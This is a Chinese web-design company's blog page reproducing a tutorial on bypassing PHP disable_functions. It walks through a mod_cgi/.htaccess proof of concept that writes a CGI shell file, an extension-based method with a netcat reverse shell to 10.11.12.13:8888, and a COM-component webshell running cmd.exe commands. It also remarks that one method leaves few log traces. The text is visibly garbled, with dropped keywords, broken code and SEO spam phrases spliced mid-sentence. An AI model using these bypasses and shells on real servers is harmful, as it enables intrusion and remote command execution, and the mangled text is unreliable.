• 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • APP开发
    • SEO优化
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们

宿迁腾云网络网站建设公司

腾云网络 八年经验专注网站建设
  • 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • APP开发
    • SEO优化
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们
首页 > 行业动态 > 技术日志 > 第一个条件最好满足,因为我们就是+php5的环境;第二个就是

第一个条件最好满足,因为我们就是+php5的环境;第二个就是

2023-04-24256

第一个条件最好满足,因为我们是+php5环境;

再来看第二种情况:

默认情况下安装模块后,它将被启用。 您可以使用以下命令查看已安装的模块:

httpd 
-
M

真的吗? 下面我们看一下官方文档。

()

根据描述网站建设,函数如下:

任何具有 mime 类型 /x--cgi 或由 cgi-(1.1 或更高版本)处理的文件都将被视为 CGI 脚本并由服务器运行,其输出将返回给客户端。 有两种方法可以使文件成为 CGI 脚本,或者文件具有指令已经定义的扩展名,或者文件位于目录中。

其实很简单:模块就是在服务器上运行cgi脚本文件或者自定义格式的脚本文件,并返回输出。

第三个条件和第四个条件都是关于的。 一起来看看吧。

首先,第四个条件是文件可以写入。 这很简单。 一般在指定的web目录下启用该文件。 我们都可以在web目录下创建文件,写文件自然就简单了。

至于第三个条件。 该文件是否生效取决于配置文件中指定web目录下参数值的设置。

当设置为无时,. 文件被完全忽略。 当此指令设置为 All 时,所有带有“.”的指令。 中允许的范围。 文件。

这里我直接把配置文件的web目录下的参数设置为ALL。

可能有人会说这个设置有点囧,它不是默认配置!

先来看看官方文档介绍(#)

其中提到:2.3.8及之前的版本,参数默认值为ALL

2.3.9版本后才改为None,影响范围还是比较大的。 但是,目前没有。 文件在我的网站目录中。 这实际上并没有影响它,这将在后面解释。

好吧,这里我们已经满足了所有 4 个条件apache运行php文件,让我们尝试重现它。

开始繁殖

这里直接使用的poc。

.php

 \n";
 }
 if (!isset($_GET['checked']))
 {
 @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
 header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
 }
 else
 {
 $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
 $writable = is_writable('.'); //current dir writable?
 $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
 checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
 checkEnabled("Is writable",$writable,"Yes","No");
 checkEnabled("htaccess working",$htaccess,"Yes","No");
 if(!($modcgi && $writable && $htaccess))
 {
 echo "Error. All of the above must be true for the script to work!"; //abort if not
 }
 else
 {
 checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
 checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
 checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
 checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
 echo "Executing the script now. Check your listener "; //call the script
 }
 }
 ?>

将php文件直接上传到web目录下,执行反弹命令,我们打开监听服务器的指定端口,然后尝试访问该文件。

反弹成功,可以执行命令,绕过限制。

原因研究

下面分析一下为什么这个poc可以实现命令执行?

.php简单分析:

首先,它将反弹命令写入 . 当前目录下的文件。 不知道这个后缀没关系,后面会解释。

下面是为检查是否满足指定条件而创建的函数。

然后检查 url 中是否有字段,如果没有尝试创建一个 . 文件,然后重定向 url 以添加 ?=true。

接下来依次检查:

1.
 mod_cgi
模块是否启用
2.
 
当前目录是否可写;
3.
 
.
htaccess
文件是否可以生效;

如果不满足,会报错,不满足使用条件。

接下来,备份原始 .file 并创建一个包含以下内容的新 .file:

Options +ExecCGI\nAddHandler cgi-script .dizzle

创建一个.file,赋予权限777,最后通过js调用脚本在服务器上运行。

思路很清晰,创建的文件其实在服务器和浏览器上都能看到。

添加一个新的.fileapache运行php文件,看看里面的内容

内容是:

Options
 
+
ExecCGI
AddHandler
 cgi
-
script 
.
dizzle

指令含义见指令详解()

这意味着允许该模块执行 CGI 脚本。

和 -。 这意味着后缀名为 . 调用cgi程序处理。

这与另一种配置非常相似,两者之间有什么区别?

AddType
 
是与类型表相关的,描述的是扩展名与文件类型之间的关系,如:
AddType
 application
/
x
-
x509
-
ca
-
cert 
.
crt
说明 .crt 扩展名的文件就是application/x-x509-ca-cert类型的; 在内容协商时,如果客户端需要是application/x-x509-ca-cert类型的,就将 .crt结尾的资源返回
注意:
 
经过内容协商的资源,在
http
相应头中有相应的
Content
-
Location
说明,如:
GET 
/
a HTTP
/
1.1
…
…
Content
-
Location
:
 a
.
php
…
AddHandler
 
说明什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系
AddHandler
 cgi
-
script 
.
cgi

简而言之

就是定义什么样的后缀名的文件对应的文件类型

是定义了对应什么样的后缀文件

添加一个新的.file,里面的内容是

页面js调用。

好了,基本上复现成功就到这里seo优化,原理也说明了。 理解它的最好方法是手动重现它。

使用

其实网上的资料很多,但是复发记录的不多。 原因可能是默认没有安装这个扩展,这种方式比较冷门。

扩展是为了让 PHP 支持多线程操作而开发的。 默认情况下,不安装此扩展。

所以为了复现,我们需要自己安装扩展,这里需要用到(用于给PHP动态添加扩展,避免重新编译安装php),如果命令不存在或者执行报错,可以使用 yum 或 apt-get 安装 php。

安装扩展的时候记得下载和安装的php同版本的源码包。 如果找不到,就去PHP5博物馆()找下载。

--安装教程参考:

php5.5安装扩展()

如何安装php扩展()

请记住,需要从中删除 php.ini。

安装完成后,可以准备两个文件,上传到web目录下。

.php,核心是利用扩展函数执行指定的脚本。

 

test.sh,由于脚本可以是脚本,比较灵活,建议直接反弹

#!/bin/bash
nc 
-
e 
/
bin
/
bash 
10.11
.
12.13
 
8888

此时,我们的远程服务器开始监听并尝试访问 .php。

命令执行成功,页面错误没有影响。 这样使用的好处是此时不会有记录,断开连接时只有一条记录。 遮瑕还行~

使用COM组件绕过,这是上层绕过的手势之一。

绕过的姿势可以在PHP 5.x系列中使用。 无奈之下,只能用我本机10重现了。 我还以为是9102年前。 这个姿势可能无效。 测试了一下,还是可以的~

测试环境

操作系统:
Windows
 
10
Apache
版本:
Apache2
PHP
版本:
PHP 
5.6
.
15
禁用函数:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec

为了方便,我直接用搭建的环境,也配置好上传了。 我可以查看文件,但无法执行命令。

当然,利用这个漏洞还是需要一定的条件的,因为是COM组件的问题,所以必须现在在php.ini中启用相关的dll和配置,然后重启。

extension 
=
 php_com_dotnet
.
dll
com
.
allow_dcom 
=
 
true

下面简单介绍一下COM组件的用途:

COM 组件由作为 动态链接库 (DLL) 或可执行文件 (EXE) 分发的可执行代码组成。 按照 COM 规范编写的组件将能够满足组件体系结构的所有要求。 COM组件可以为应用程序、操作系统和其他组件提供服务; 自定义 COM 组件可以在运行时与其他组件连接以形成应用程序; COM 组件可以动态插入应用程序或从应用程序中删除。

重复过程

这里直接使用构造好的poc

通讯.php

exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>

然后尝试访问

http
:
//url/comm.php?a=whoami

尝试查看当前目录 pwd

让我们看看能不能玩计算器

真的可以,效果很棒,这种启用COM组件的php站点简直就是绕过杀手。

- 结论

好了,这里介绍了很多姿势,虽然还有很多其他的姿势没有介绍,比如:

绕过(和类似的,需要安装 imap 扩展)

黑名单功能绕过(使用冷门功能执行命令)

perl 扩展安全模式绕过

分机旁路

...

有兴趣的朋友可以自行复现体验。 这里就不继续补充了。 虽然在写完这篇教程后在环境搭建上花费了很多时间,但还是收获不少。 学无止境。 我觉得有些东西需要学习。 还有很多~

参考链接

Tag: 文件目录
网站制作公众号

宿迁腾云网络网站建设公司 | 网站开发 | 网站制作 | 网站优化

咨询电话:13160355545

上一篇

返回栏目

下一篇

免责声明:本站所有文章和图片均来自用户分享和网络收集,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系网站客服处理。

热推

  • php编程培训班哪家好入门语言与职业生涯在计算机编程领域,人生第一行经典代码ug编程好还是北京精雕编程好
  • php游戏开发框架总结:Java:网页,企业级开发普通应用软件游戏后台仿京东商城(基于hdphp框架开发)视频教程(php实战)
  • 开源cms系统 php比较经济门槛不高的搭建自己博客或者企业官网的方式免费开源php cms系统
  • php开发视频教程 17岁java开发攻城狮,如何才能学好编程呢?php企业级开发视频教程
  • 本文以一个实例的形式讲述PHP实现MVC框架的过程
  • 智能仪器与仪表综合设计(一):数据采集系统的结构原理
  • php网站密码破解解决方案,美国虚拟主机网站老被黑以上三个方面入手,基本上 破解网站密码
  • 谷歌OS欢迎页面隐含了哪些新线索?(图)
  • dundas chart for net下载 :Theof::
  • php.ini扩展在配置文件中有独立的代码片段

相关

php安装curl扩展库MAC版MAMP环境下为PHP7.x

php网站根目录发布模块和接口都在压缩包内,教程也附在里面p

php文件下载代码手动编辑配置文件的安装方法是什么?方法更简

一种源码加密技术:加密软件()下载地址介绍

一种源码加密技术:加密软件()下载地址介绍

PHP IDEs与PHP CLI工具:助力高效PHP开发,满

PHP IDEs与PHP CLI工具:助力高效PHP开发,满

什么是PHP?其优势有简单易学、安全性高、开发效率高及社区活

什么是PHP?其优势有简单易学、安全性高、开发效率高及社区活

深入学习PHP编程基础与高级技术,掌握数字时代开发技能

PHP中七个常用框架介绍,详细解读ThinkPHP及其他框架

Science Technology:PHP开发平台发展历程

Science Technology:PHP开发平台发展历程

如何修复被黑客篡改的网站代码与数据库?入侵迹象与范围评估指南

如何修复被黑客篡改的网站代码与数据库?入侵迹象与范围评估指南

标签

seo(1182) 市场营销(661) 网站制作(573) 网站建设(564) 搜索引擎(553) 网站(482) PHP(361) 编程语言(345) 建站(294) 关键词排名优化(267) 网站建设公司(245) 优化(216) seo排名(207) 域名(190) 软件(171) 网站优化(148) 搜索引擎优化(146) 外链(141) 科技(136) 网站关键词(124) 网站排名优化(123) 域名服务器(120) 网站排名(107) 时政(103) 排名优化(95) 搜索引擎收录(93) 网站设计(92) 电子商务(88) 引擎(86) 移动互联网(85) 开发框架(79) 开发(75) 网站服务器(74) 框架(68) 前端开发(68) 网站分析(66) 网站建设方案(65) 关键(64) 流量(63) 源码(62) 百度优化(62) 网站权重(61) 开放源代码(59) seo培训(53) 网页设计(51) 百度(51) php框架(50) 网站建设知识(50) 大数据(50) 谷歌(49)
宿迁腾云网络网站建设公司
网站建设
  • 私人定制
  • 标准模板建站
  • 经济模板建站
精品模板

宿迁腾云网络网站建设公司

联系电话:13160355545

公司地址:江苏省宿迁市丽景湾华庭北门都市花园公寓9楼907

联系邮箱:admin@tyweb.net

全国分站
  • 北京
  • 广东
  • 东莞 广州 中山 深圳 惠州 江门 珠海 汕头 佛山 湛江 河源 肇庆 潮州 清远 韶关 揭阳 阳江 云浮 茂名 梅州 汕尾
  • 山东
  • 济南 青岛 临沂 济宁 菏泽 烟台 泰安 淄博 潍坊 日照 威海 滨州 东营 聊城 德州 莱芜 枣庄
  • 江苏
  • 苏州 徐州 盐城 无锡 南京 南通 连云港 常州 扬州 镇江 淮安 泰州 宿迁
  • 河南
  • 郑州 南阳 新乡 安阳 洛阳 信阳 平顶山 周口 商丘 开封 焦作 驻马店 濮阳 三门峡 漯河 许昌 鹤壁 济源
  • 上海
  • 河北
  • 石家庄 唐山 保定 邯郸 邢台 沧州 秦皇岛 张家口 衡水 廊坊 承德
  • 浙江
  • 温州 宁波 杭州 台州 嘉兴 金华 湖州 绍兴 舟山 丽水 衢州
  • 陕西
  • 西安 咸阳 宝鸡 汉中 渭南 安康 榆林 商洛 延安 铜川
  • 湖南
  • 长沙 邵阳 常德 衡阳 株洲 湘潭 永州 岳阳 怀化 郴州 娄底 益阳 张家界 湘西
  • 重庆
  • 福建
  • 漳州 泉州 厦门 福州 莆田 宁德 三明 南平 龙岩
  • 天津
  • 云南
  • 昆明 红河 大理 文山 德宏 曲靖 昭通 楚雄 保山 玉溪 丽江 临沧 思茅 西双版纳 怒江 迪庆
  • 四川
  • 成都 绵阳 广元 达州 南充 德阳 广安 阿坝 巴中 遂宁 内江 凉山 攀枝花 乐山 自贡 泸州 雅安 宜宾 资阳 眉山 甘孜
  • 广西
  • 贵港 玉林 北海 南宁 柳州 桂林 梧州 钦州 来宾 河池 百色 贺州 崇左 防城港
  • 安徽
  • 芜湖 合肥 六安 宿州 阜阳 安庆 马鞍山 蚌埠 淮北 淮南 宣城 黄山 铜陵 亳州 池州 巢湖 滁州
  • 海南
  • 三亚 海口 琼海 文昌 东方
  • 江西
  • 南昌 赣州 上饶 吉安 九江 新余 抚州 宜春 景德镇 萍乡 鹰潭
  • 湖北
  • 武汉 宜昌 襄樊 荆州 恩施 孝感 黄冈 十堰 咸宁 黄石 仙桃 随州 天门 荆门 潜江 鄂州 神农架
  • 山西
  • 太原 大同 运城 长治 晋城 忻州 临汾 吕梁 晋中 阳泉 朔州
  • 辽宁
  • 大连 沈阳 丹东 辽阳 葫芦岛 锦州 朝阳 营口 鞍山 抚顺 阜新 本溪 盘锦 铁岭
  • 黑龙江
  • 齐齐哈尔 哈尔滨 大庆 佳木斯 双鸭山 牡丹江 鸡西 黑河 绥化 鹤岗 伊春 大兴安岭 七台河
  • 内蒙古
  • 赤峰 包头 通辽 呼和浩特 乌海 鄂尔多斯 呼伦贝尔
  • 贵州
  • 贵阳 黔东 黔南 遵义 黔西 毕节 铜仁 安顺 六盘水
  • 甘肃
  • 兰州 天水 庆阳 武威 酒泉 张掖 陇南 白银 定西 平凉 嘉峪关 临夏 金昌 甘南
  • 青海
  • 西宁 海西 海东 海北 果洛 玉树 黄南
  • 新疆
  • 乌鲁木齐 伊犁 昌吉 石河子 哈密
  • 西藏
  • 拉萨 山南 林芝 日喀则
  • 吉林
  • 长春 白山 白城 延边 松原 辽源 通化 四平
  • 宁夏
  • 银川 吴忠 中卫 石嘴山 固原
SiteMap
网站地图
TAG标签
Copyright © 2017-2025 TYWEB.NET 宿迁腾云网络科技有限公司 ALL RIGHTS RESERVED.   苏ICP备17033535号-1

热门搜索

百度 下载 2025 2024 2026 货源 货货源 虚拟 禅道 报名 金蝶KIS旗舰版
  • 客服

    在线客服

  • 电话

    13160355545

  • 微信

精品模板
建站费用
成功案例
联系我们